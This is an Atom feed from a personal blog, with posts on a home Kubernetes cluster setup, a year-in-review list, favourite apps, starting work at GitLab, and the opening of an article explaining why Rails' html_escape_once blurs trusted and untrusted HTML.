&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/shynet.yaml?k=iUshCZDenAJU2TqKKg1xWKoEFvlJQkLqHAaFyf16bqg%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/shynet/bundle.cue?k=UxR6RHI_hvuowkG2teoZ1RNVNQbjxjQfIBTUBauTQnY%3D&quot;&gt;CUE-based setup&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;code&gt;static&lt;/code&gt;&lt;/h3&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k static ga
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;No resources found in static namespace.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This namespace only exists for the Flux kustomization, oops.&lt;/p&gt;
&lt;pre class=&quot;athl highlight&quot; style=&quot;color: #cdd6f4; background-color: #1e1e2e;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;$ k % gi -A
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;NAMESPACE    NAME                           CLASS   HOSTS                           ADDRESS          PORTS     AGE
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;kv           kv                             nginx   kivikakk.ee                     51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;linkding     linkding                       nginx   tracks.hrzn.ee                  51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;miniflux     miniflux                       nginx   rss.hrzn.ee                     51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;minio-kala   s3.hrzn.ee                     nginx   s3.hrzn.ee,s3-console.hrzn.ee   51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;minio-kala   static-comrak.ee               nginx   comrak.ee                       51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;minio-kala   static-eka.kivikakk.ee         nginx   eka.kivikakk.ee                 51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;minio-kala   static-f.hrzn.ee               nginx   f.hrzn.ee                       51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;minio-kala   static-hrzn.ee                 nginx   hrzn.ee                         51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;minio-kala   static-kindnessalliance.love   nginx   kindnessalliance.love           51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;minio-kala   static-kinu.ee                 nginx   kinu.ee                         51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;minio-kala   static-lottia.net              nginx   lottia.net                      51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;nossa        nossa                          nginx   nossa.ee                        51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;outline      outline                        nginx   adc.hrzn.ee                     51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;shynet       shynet-webserver-ingress       nginx   shynet.hrzn.ee                  51.161.136.132   80, 443   105d
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kustomization configures all the ingresses.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/cassax/static.yaml?k=fYEbSximSOYrLMtEBxjo8ueJ5QT_Ia-R0Kbz5u5dNnQ%3D&quot;&gt;Install via kustomize&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/3662d5dfba921dfde101678805498c54e3e9dea7/flux/sources/static/bundle.cue?k=Sr7eUg5R-xNjYK4yWpBwoIzxP8pHqzthtCfU-jobjoY%3D&quot;&gt;CUE-based setup&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>things i did last year</title>
    <updated>2026-01-04T10:23:23Z</updated>
    <id>https://kivikakk.ee/2026/01/04/things-i-did-last-year</id>
    <link href="https://kivikakk.ee/2026/01/04/things-i-did-last-year" />

    <content type="html">&lt;p&gt;In no particular order:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Finally learned Elixir/Phoenix.
&lt;ul&gt;
&lt;li&gt;Wrote &lt;a href=&quot;https://nossa.ee/~talya/kv&quot;&gt;this blog engine&lt;/a&gt;, &lt;a href=&quot;https://nossa.ee/&quot;&gt;nóssa&lt;/a&gt; (which I’m slowly giving some love again), &lt;a href=&quot;https://nossa.ee/~talya/chog&quot;&gt;chog&lt;/a&gt;, and &lt;a href=&quot;https://nossa.ee/~talya/pipa&quot;&gt;Pipa&lt;/a&gt;!&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Finally learned Kubernetes.
&lt;ul&gt;
&lt;li&gt;Went through about 3½ cluster topologies before settling on the current thing. etcd really is a temperamental baby, huh.&lt;/li&gt;
&lt;li&gt;Wrote &lt;a href=&quot;https://kivikakk.ee/2025/08/31/enbi-fully-operational&quot;&gt;enbi&lt;/a&gt;, which ties up the [anything]–Nix→OCI–k8s trifecta  in an unholy and altogether beautiful way. 5 months later and updating &lt;em&gt;anything&lt;/em&gt; I run in my cloud is still just a matter of bumping a SHA and pushing to git; no manual messing around with a registry, building images, pushing images, any of it. It just keeps on running without a care in the world. k8s is the SharePoint you can really love.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Learned to do simple CAD; designed and printed a bunch of things to improve our home.&lt;/li&gt;
&lt;li&gt;Authored 460 commits on &lt;a href=&quot;https://comrak.ee&quot;&gt;Comrak&lt;/a&gt; and shepherded 107 commits from 25 contributors — thank you!!&lt;/li&gt;
&lt;li&gt;Played a lot of games! Long COVID means I have so much less thinking time in a day.
&lt;ul&gt;
&lt;li&gt;100%’d a few games: &lt;a href=&quot;https://store.steampowered.com/app/858210/Nova_Drift/&quot;&gt;Nova Drift&lt;/a&gt;, &lt;a href=&quot;https://store.steampowered.com/app/1145360/Hades/&quot;&gt;Hades&lt;/a&gt;, and &lt;a href=&quot;https://store.steampowered.com/app/1145350/Hades_II/&quot;&gt;Hades Ⅱ&lt;/a&gt;. I really recommend them. Hades Ⅱ was such an incredible follow-up.&lt;/li&gt;
&lt;li&gt;Also got to 5BSC in &lt;a href=&quot;https://store.steampowered.com/app/588650/Dead_Cells/&quot;&gt;Dead Cells&lt;/a&gt; and collected every outfit (except for Dracula’s because fuck him). Turns out it has an adorable &lt;a href=&quot;https://www.youtube.com/watch?v=zK0HjluNV-0&amp;amp;list=PLHP75qdNzPXxz_yfVNe5_wct2Z0jAy-CJ&quot;&gt;live-action adaptation&lt;/a&gt;!?&lt;/li&gt;
&lt;li&gt;Replayed &lt;a href=&quot;https://doukutsu.rs/&quot;&gt;Cave Story&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Started a new Stardew Valley save and actually reached the “end game”. (Year 3 day 1, all candles!) Previous attempts never made it past the first season.&lt;/li&gt;
&lt;li&gt;Counts as gaming: did &lt;a href=&quot;https://adventofcode.com/&quot;&gt;Advent of Code&lt;/a&gt; for the first time in many years. It was fun and stretched my brain a few times (except for the disappointment that was Day 12), and I topped the work leaderboard. :)&lt;/li&gt;
&lt;li&gt;Got myself back into Silver in LoL in the first half of the year, largely pivoting into ADC! (16–7 on Ashe in S2025 :3 But also 43–36 on Nami.)&lt;/li&gt;
&lt;li&gt;As so many others have discovered — &lt;a href=&quot;https://xeiaso.net/notes/2026/year-linux-desktop/&quot;&gt;the year of Linux on the desktop is finally here&lt;/a&gt;, and a lot of it is thanks to Valve! You can’t imagine my shock at some games running better on Linux &lt;em&gt;on chipset graphics&lt;/em&gt; than an M3 Max. That which isn’t thanks to Valve is largely thanks to the two corporate competitors being determined to turn their flagship products into complete and utter shit as rapidly as possible. We can only rely on ourselves.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Saved 512 bookmarks.&lt;/li&gt;
&lt;li&gt;Filed three police reports for theft u_u&lt;/li&gt;
&lt;li&gt;Visited Canberra for the first time.&lt;/li&gt;
&lt;li&gt;Quit medicinal cannabis — cost/benefit crossed the line — and spent months in medication hell figuring out a new way to make sleep possible. Made it, though (guanfacine).&lt;/li&gt;
&lt;li&gt;25 doctor/specialist/test appointments. No improvements to overall  pain incidence.&lt;/li&gt;
&lt;li&gt;Finished up at Radiopaedia. Did a pen-testing contract. Decided to try &lt;a href=&quot;https://kivikakk.ee/2025/10/20/one-month-at-gitlab&quot;&gt;full-time work&lt;/a&gt; again, after nearly 6 years.&lt;/li&gt;
&lt;li&gt;Got a pushbike and used it a bunch!&lt;/li&gt;
&lt;li&gt;Watched quite a bit of &lt;a href=&quot;https://en.wikipedia.org/wiki/If_You_Are_the_One_(game_show)&quot;&gt;非诚勿扰&lt;/a&gt;, lots of LoL, and (new for me) a couple CS2 tournaments.&lt;/li&gt;
&lt;li&gt;Watched consensus reality &lt;a href=&quot;https://kivikakk.ee/2026/01/04/things-that-were-a-pity-in-2025&quot;&gt;go to hell&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Loved my wife.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What’d I &lt;a href=&quot;https://kivikakk.ee/2025/01/02/2025&quot;&gt;intend&lt;/a&gt;?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Keep up Duolingo: did that! I got every monthly badge, meaning I did at least 600 “quests” in the year. I found that was a nice way to ensure I spend actual decent time learning.&lt;/li&gt;
&lt;li&gt;Daily meditation: I saw that through to day 280 or so, averaging 15 minutes a day.&lt;/li&gt;
&lt;li&gt;Home-cooked meals: whew. Mid-year was a bit heck for that, but we’ve been doing so much better lately!&lt;/li&gt;
&lt;li&gt;Deliver the Ava MVP: called &lt;a href=&quot;https://github.com/charlottia/ava&quot;&gt;that&lt;/a&gt; spike  in February.&lt;/li&gt;
&lt;li&gt;Secondary project: ended up fielding a lot of those!&lt;/li&gt;
&lt;li&gt;Keep learning: really well done! (Not much from that list, though I did end up using Quint at work to elucidate problems with an existing design and prove a better one, and out of luck encountered a problem where I knew both (a) that an SMT solver would solve it generally, and (b) how to instrument one to do that!)&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>things that were a pity in the year of our lord 2025</title>
    <updated>2026-01-04T06:36:39Z</updated>
    <id>https://kivikakk.ee/2026/01/04/things-that-were-a-pity-in-2025</id>
    <link href="https://kivikakk.ee/2026/01/04/things-that-were-a-pity-in-2025" />

    <content type="html">&lt;ol&gt;
&lt;li&gt;covid&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-covid&quot; id=&quot;fnref-covid&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;the climate (we’re fucked)&lt;/li&gt;
&lt;li&gt;societies’ attitudes to trans people&lt;/li&gt;
&lt;li&gt;llms&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Maybe one or more of these can let up in 2026 🤞&lt;/p&gt;
&lt;section class=&quot;footnotes&quot; data-footnotes&gt;
&lt;ol&gt;
&lt;li id=&quot;fn-covid&quot;&gt;
&lt;p&gt;Still &lt;strong&gt;extremely&lt;/strong&gt; a thing&lt;a href=&quot;https://doi.org/10.1136/bmj.r1733&quot;&gt;[1]&lt;/a&gt;&lt;a href=&quot;https://doi.org/10.1093/cid/ciaf046&quot;&gt;[2]&lt;/a&gt;&lt;a href=&quot;https://iopscience.iop.org/article/10.1088/1758-5090/adf66c&quot;&gt;[3]&lt;/a&gt;&lt;a href=&quot;https://onlinelibrary.wiley.com/doi/10.1111/hex.70435&quot;&gt;[4]&lt;/a&gt;&lt;a href=&quot;https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0324689&quot;&gt;[5]&lt;/a&gt;&lt;a href=&quot;https://www.jacc.org/doi/10.1016/j.jacc.2025.09.981&quot;&gt;[6]&lt;/a&gt;&lt;a href=&quot;https://www.medrxiv.org/content/10.1101/2025.04.08.25325108v1&quot;&gt;[7]&lt;/a&gt;&lt;a href=&quot;https://www.nature.com/articles/s41467-023-44432-3&quot;&gt;[8]&lt;/a&gt;&lt;a href=&quot;https://www.nature.com/articles/s41586-025-09332-0&quot;&gt;[9]&lt;/a&gt;&lt;a href=&quot;https://www.sciencedaily.com/releases/2025/12/251214100911.htm&quot;&gt;[10]&lt;/a&gt;&lt;a href=&quot;https://www.sciencedirect.com/science/article/pii/S1201971225005090&quot;&gt;[11]&lt;/a&gt;&lt;a href=&quot;https://pmc.ncbi.nlm.nih.gov/articles/PMC11816653/&quot;&gt;[12]&lt;/a&gt;&lt;a href=&quot;https://www.journalofinfection.com/article/S0163-4453(22)00469-8/fulltext&quot;&gt;[13]&lt;/a&gt;&lt;a href=&quot;https://www.journalofinfection.com/article/S0163-4453(25)00241-5/fulltext&quot;&gt;[14]&lt;/a&gt;&lt;a href=&quot;https://www.thelancet.com/journals/eclinm/article/PIIS2589-5370(23)00061-5/fulltext&quot;&gt;[15]&lt;/a&gt;&lt;a href=&quot;https://buds.org.uk/covid-and-cancer/&quot;&gt;[16]&lt;/a&gt;&lt;a href=&quot;https://geneticliteracyproject.org/2025/09/04/the-lingering-pandemic-the-chronic-toll-of-untreatable-long-covid/&quot;&gt;[17]&lt;/a&gt;&lt;a href=&quot;https://scienceblog.com/hidden-heart-damage-how-covid-continues-haunting-millions/&quot;&gt;[18]&lt;/a&gt;&lt;a href=&quot;https://theconversation.com/long-covid-is-more-than-fatigue-our-new-study-suggests-its-impact-is-similar-to-a-stroke-or-parkinsons-263623&quot;&gt;[19]&lt;/a&gt;&lt;a href=&quot;https://www.thegauntlet.news/p/beyond-all-reason&quot;&gt;[20]&lt;/a&gt;&lt;a href=&quot;https://johnsnowproject.org/primers/sars-cov-2-leaves-a-lasting-mark-on-the-immune-system&quot;&gt;[20]&lt;/a&gt;&lt;a href=&quot;https://airspothealth.com/a/blog/coronavirus-found-in-samples-from-96-of-flights&quot;&gt;[22]&lt;/a&gt;&lt;a href=&quot;https://nypost.com/2025/10/13/health/covid-may-be-messing-with-your-sperm-and-your-unborn-kids/&quot;&gt;[23]&lt;/a&gt;&lt;a href=&quot;https://people.com/usain-bolt-admits-he-gets-out-of-breath-now-when-he-walks-up-stairs-amid-retirement-11812666&quot;&gt;[24]&lt;/a&gt;&lt;a href=&quot;https://www.guitarplayer.com/players/mark-knopfler-tells-why-he-ditched-his-pick&quot;&gt;[25]&lt;/a&gt;&lt;a href=&quot;https://www.rtve.es/noticias/20250822/detectan-casos-inmadurez-cerebral-ninos-madres-covid-19-embarazo/16704540.shtml&quot;&gt;[26]&lt;/a&gt;&lt;a href=&quot;https://www.thecanary.co/global/world-analysis/2025/04/19/covid-play-eric-bogosian/&quot;&gt;[27]&lt;/a&gt;&lt;a href=&quot;https://www.wrestlezone.com/news/1573558-jonathan-gresham-recovering-from-two-strokes&quot;&gt;[28]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/PacoOnPause/status/1954989371935035662&quot;&gt;[29]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/pacoonpause/status/1956832282691690529&quot;&gt;[30]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/pacoonpause/status/1965516005599502710&quot;&gt;[31]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/pacoonpause/status/2004657157560827919&quot;&gt;[32]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/1goodtern/status/1951991548033347782&quot;&gt;[33]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/1goodtern/status/1952729030542672292&quot;&gt;[34]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/1goodtern/status/1952736464682324119&quot;&gt;[35]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/catladyactivist/status/1995646125710463341&quot;&gt;[36]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/JamesThrot/status/1950514152323109293&quot;&gt;[37]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/michael_hoerger/status/1951359970999484885&quot;&gt;[38]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/michael_hoerger/status/1964550281242562894&quot;&gt;[39]&lt;/a&gt;&lt;a href=&quot;https://fxtwitter.com/orpheusgirl/status/1994502118116614309&quot;&gt;[40]&lt;/a&gt;, but let’s face it, if you’ve given into peer pressure by this stage (and it was probably years ago that you did, given how extreme it’s been!), there is no turning that ship around now. &lt;a href=&quot;#fnref-covid&quot; class=&quot;footnote-backref&quot; data-footnote-backref data-footnote-backref-idx=&quot;1&quot; aria-label=&quot;Back to reference 1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content>

  </entry>

  <entry>
    <title>Apps I Use</title>
    <updated>2025-12-10T01:55:41Z</updated>
    <id>https://kivikakk.ee/2025/12/10/apps-i-use</id>
    <link href="https://kivikakk.ee/2025/12/10/apps-i-use" />

    <content type="html">&lt;p&gt;From &lt;a href=&quot;https://abhinavsarkar.net/notes/2025-default-apps/&quot;&gt;Abhinav Sarkar&lt;/a&gt;, with additional inspiration from &lt;a href=&quot;https://rubenerd.com/app-defaults-2025/&quot;&gt;Ruben&lt;/a&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;App launcher: Alfred, &lt;a href=&quot;https://nossa.ee/~talya/vyx/blob/main/c4e05e9e49d86e1a66f7345b46f28f19de671392/home/plasma/default.nix#L13-L45&quot;&gt;KRunner&lt;/a&gt;, both default to &lt;a href=&quot;https://nossa.ee/~talya/comenzar&quot;&gt;Comenzar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Backups: Time Machine, borg&lt;/li&gt;
&lt;li&gt;Bookmarks: &lt;a href=&quot;https://linkding.link/&quot;&gt;Linkding&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Books: Kindle&lt;/li&gt;
&lt;li&gt;Browser: Librewolf&lt;/li&gt;
&lt;li&gt;Build system: Nix&lt;/li&gt;
&lt;li&gt;Calendar: iCal&lt;/li&gt;
&lt;li&gt;Cloud storage: iCloud, Minio-on-k8s&lt;/li&gt;
&lt;li&gt;Code editor: Emacs, Helix&lt;/li&gt;
&lt;li&gt;Contact management: Contacts.app&lt;/li&gt;
&lt;li&gt;Default language for one-liners: Ruby&lt;/li&gt;
&lt;li&gt;Default language for ten-liners: Rust&lt;/li&gt;
&lt;li&gt;Email: FastMail (Mail.app on Darwin, webmail otherwise)&lt;/li&gt;
&lt;li&gt;Git client: &lt;a href=&quot;https://www.jj-vcs.dev/&quot;&gt;jj&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes: k3s&lt;/li&gt;
&lt;li&gt;Linux distribution: NixOS&lt;/li&gt;
&lt;li&gt;Music: Music.app/mpd&lt;/li&gt;
&lt;li&gt;News: &lt;a href=&quot;https://abc.net.au&quot;&gt;abc.net.au&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Notes: A4 notebook, Apple Notes&lt;/li&gt;
&lt;li&gt;Password management: 1Password&lt;/li&gt;
&lt;li&gt;Photo editing: Pixelmator&lt;/li&gt;
&lt;li&gt;Photo management: Photos.app&lt;/li&gt;
&lt;li&gt;Photo shooting: iOS default, Canon EOS R5&lt;/li&gt;
&lt;li&gt;Read later: Linkding&lt;/li&gt;
&lt;li&gt;RSS: Miniflux&lt;/li&gt;
&lt;li&gt;Shell: fish&lt;/li&gt;
&lt;li&gt;Shopping list: Paprika&lt;/li&gt;
&lt;li&gt;Smart home: Home Assistant (HAOS as &lt;a href=&quot;https://mislav.net/2024/12/draft/&quot;&gt;suggested by Mislav&lt;/a&gt;) with &lt;a href=&quot;https://tubeszb.com/&quot;&gt;TubesZB&lt;/a&gt; Zigbee coordinator&lt;/li&gt;
&lt;li&gt;Terminal: &lt;a href=&quot;https://ghostty.org/&quot;&gt;Ghostty&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;To-do: &lt;a href=&quot;https://culturedcode.com/things/&quot;&gt;Things&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Video: VLC&lt;/li&gt;
&lt;li&gt;VPN: Mullvad&lt;/li&gt;
&lt;li&gt;Window management: Darwin default, KDE Plasma, tmux&lt;/li&gt;
&lt;li&gt;Word processing: CommonMark&lt;/li&gt;
&lt;/ul&gt;</content>

  </entry>

  <entry>
    <title>boost: In Praise of dhh by Filipa Mendonça-Vieira</title>
    <updated>2025-11-10T00:39:29Z</updated>
    <id>https://kivikakk.ee/2025/11/10/boost-in-praise-of-dhh-by-filipa-mendonça-vieira</id>
    <link href="https://kivikakk.ee/2025/11/10/boost-in-praise-of-dhh-by-filipa-mendonça-vieira" />

    <content type="html">&lt;p&gt;&lt;a href=&quot;https://okayfail.com/2025/in-praise-of-dhh.html&quot;&gt;https://okayfail.com/2025/in-praise-of-dhh.html&lt;/a&gt;&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>pipa! pipa!</title>
    <updated>2025-11-05T10:32:49Z</updated>
    <id>https://kivikakk.ee/2025/11/05/pipa-pipa</id>
    <link href="https://kivikakk.ee/2025/11/05/pipa-pipa" />

    <content type="html">&lt;p&gt;Thanks to the &lt;a href=&quot;https://nossa.ee/~talya/pipa&quot;&gt;Pipa Index&lt;/a&gt; and actually working in the open, I’m able to &lt;a href=&quot;https://gitlab.com/kivikakk/kivikakk/-/blob/main/README.md&quot;&gt;publish what I’m working on&lt;/a&gt;! Have a look :)&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>just use rustup</title>
    <updated>2025-11-04T03:37:05Z</updated>
    <id>https://kivikakk.ee/2025/11/04/just-use-rustup</id>
    <link href="https://kivikakk.ee/2025/11/04/just-use-rustup" />

    <content type="html">&lt;p&gt;I’ve been thinking for a little while that I should look into trying to contribute to the Rust compiler, since it’d be fun if I could understand what’s going on under the hood better. I’ve done a bit in the Zig stdlib, but nothing on the compiler, and while I have some &lt;code&gt;Co-authored-by:&lt;/code&gt;s in Ruby, I wouldn’t write home about it*.*&lt;/p&gt;
&lt;p&gt;And so sans any context whatsoever, I start to say out loud: “y’know, I think it’s finally time I—”&lt;/p&gt;
&lt;p&gt;Annie cuts me off sharply: “just use rustup.”&lt;/p&gt;
&lt;p&gt;Ow /s&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>reminder to nix-collect-garbage</title>
    <updated>2025-11-01T02:51:51Z</updated>
    <id>https://kivikakk.ee/2025/11/01/reminder-to-nix-collect-garbage</id>
    <link href="https://kivikakk.ee/2025/11/01/reminder-to-nix-collect-garbage" />

    <content type="html">&lt;p&gt;&lt;img src=&quot;https://s3.hrzn.ee/kvp/REMEMBER%20TO%20NIX-COLLECT-GARBAGE.png&quot; alt=&quot;tail-end of “nix-collect-garbage” output, showing 1.5 terabytes freed&quot; /&gt;🐰🐰🐰&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>One month at GitLab</title>
    <updated>2025-10-20T11:40:41Z</updated>
    <id>https://kivikakk.ee/2025/10/20/one-month-at-gitlab</id>
    <link href="https://kivikakk.ee/2025/10/20/one-month-at-gitlab" />

    <content type="html">&lt;p&gt;Despite my absolute lack of love for Ruby on Rails (and &lt;a href=&quot;https://tekin.co.uk/2025/09/the-ruby-community-has-a-dhh-problem&quot;&gt;revilement for certain persons at the project&lt;/a&gt;), I have embarked on my tenth year of working for pay on very large, very highly used, and — how should I put it — very well-loved Ruby on Rails codebases.&lt;/p&gt;
&lt;p&gt;It’s been  lovely. I was pretty worried about energy requirements, having not worked full-time since 2019, but so far I am managing. Despite the whole Situation with the tech industry, I have gotten away without interacting with a single LLM yet, and I am betting I can just hold on like this until the bubble pops. So far I am mostly doing security-related work and getting out small fixes or improvements fast, and that suits me very well. I have very chill coworkers. Working &lt;a href=&quot;https://gitlab.com/kivikakk&quot;&gt;in the open&lt;/a&gt; like I do with &lt;a href=&quot;https://nossa.ee/~talya&quot;&gt;all my personal stuff&lt;/a&gt; is such a nice change from a career of mostly closed-source work.&lt;/p&gt;
&lt;p&gt;The work has also made it a lot easier to feel for my largest open-source baby, &lt;a href=&quot;https://comrak.ee&quot;&gt;Comrak&lt;/a&gt;, especially given my job now directly involves using it! I just now pushed out a bit of a &lt;a href=&quot;https://github.com/kivikakk/comrak/releases/tag/v0.45.0-rc.1&quot;&gt;monster release candidate&lt;/a&gt;, and I’m feeling good about it.&lt;/p&gt;
&lt;p&gt;Selamat malam!&lt;/p&gt;</content>

  </entry>

  <entry>
    <title>ERB::Util.html_escape_once: not even once.</title>
    <updated>2025-10-12T08:54:22Z</updated>
    <id>https://kivikakk.ee/2025/10/12/html-escape-once-not-even-once</id>
    <link href="https://kivikakk.ee/2025/10/12/html-escape-once-not-even-once" />

    <content type="html">&lt;p&gt;&lt;em&gt;Alternative title: “&lt;code&gt;ERB::Util.html_escape_once&lt;/code&gt; considered harmful”.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Advice&lt;/strong&gt;: Do not use &lt;a href=&quot;https://api.rubyonrails.org/classes/ERB/Util.html#method-c-html_escape_once&quot;&gt;this function&lt;/a&gt;. This function has no real-world, safe uses. Eschew it. Reject it from your codebase. &lt;a href=&quot;https://matklad.github.io/2024/01/03/of-rats-and-ratchets.html&quot;&gt;Ratchet&lt;/a&gt; it out of existence.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Motivation&lt;/strong&gt;: How many useful &lt;a href=&quot;https://kivikakk.ee/2012/04/18/escapology&quot;&gt;encoding or escaping-adjacent&lt;/a&gt; functions do you know of that are irreversible? What about ones which irreversibly blur the lines between trusted and untrusted content?&lt;/p&gt;
&lt;p&gt;This article has eight “chapters”.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Text&lt;/li&gt;
&lt;li&gt;From text to HTML&lt;/li&gt;
&lt;li&gt;Text in HTML&lt;/li&gt;
&lt;li&gt;HTML in HTML&lt;/li&gt;
&lt;li&gt;Trust levels&lt;/li&gt;
&lt;li&gt;Diagrammatic tl;dr&lt;/li&gt;
&lt;li&gt;Postscript: on automated HTML safety&lt;/li&gt;
&lt;li&gt;Postscript: on tags that aren’t tags&lt;/li&gt;
&lt;/ul&gt;
&lt;!--
I am (not really) sorry, but I&#39;ve been unable to restrain myself from flavouring it with a moderate quantity of anti-LLM spice. The content is essentially unrelated to LLMs except for the bit where people are ceasing to use their brains[^even] and you may safely skip over those parts of the text without missing the meaning. I&#39;ve just been REALLY finding it difficult with so much disappointment and so little outlet.

[^even]: even if you aren&#39;t! the externalities are so, SO real, and it&#39;s just like the tech industry to pretend they can be ignored!
--&gt;
&lt;h2&gt;Text&lt;/h2&gt;
&lt;p&gt;Let’s say you’re writing a to-do list app for your hot new company, ToDoIfy®. An enterprising young web developer comes along and wants to use your to-do list app to write their to-do list app! If frontend development tutorials are anything to go by, to-do list apps are all we’ve got.&lt;/p&gt;
&lt;p&gt;Here’s their first to-do:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Add &amp;lt;input&amp;gt; for to-do entry&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;They hit submit, and are taken back to their to-do list page. Their to-do list to-do list? It looks like this:&lt;/p&gt;
&lt;img src=&quot;https://s3.hrzn.ee/kvp/todos1.png&quot; width=&quot;397&quot; height=&quot;136&quot; alt=&quot;A screenshot of an app called ToDoIfy. One to-do item is listed; it says &amp;quot;Add&amp;quot; — and then there&#39;s an empty text box, and then the text — &amp;quot;for to-do entry.&quot;&gt;
&lt;p&gt;Jeez, that’s embarrassing. They report the bug to us, and we hastily add a call to &lt;a href=&quot;https://apidock.com/rails/v7.0.0/ERB/Util/html_escape&quot;&gt;&lt;code&gt;html_escape&lt;/code&gt;&lt;/a&gt;&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;#fn-omg&quot; id=&quot;fnref-omg&quot; data-footnote-ref&gt;1&lt;/a&gt;&lt;/sup&gt; or &lt;a href=&quot;https://ruby-doc.org/stdlib-2.5.1/libdoc/cgi/rdoc/CGI/Util.html#method-i-escapeHTML&quot;&gt;&lt;code&gt;escapeHTML&lt;/code&gt;&lt;/a&gt; or whatever the ecosystem equivalent is. This article isn’t really about Ruby, but it’s certainly inspired by it!&lt;/p&gt;
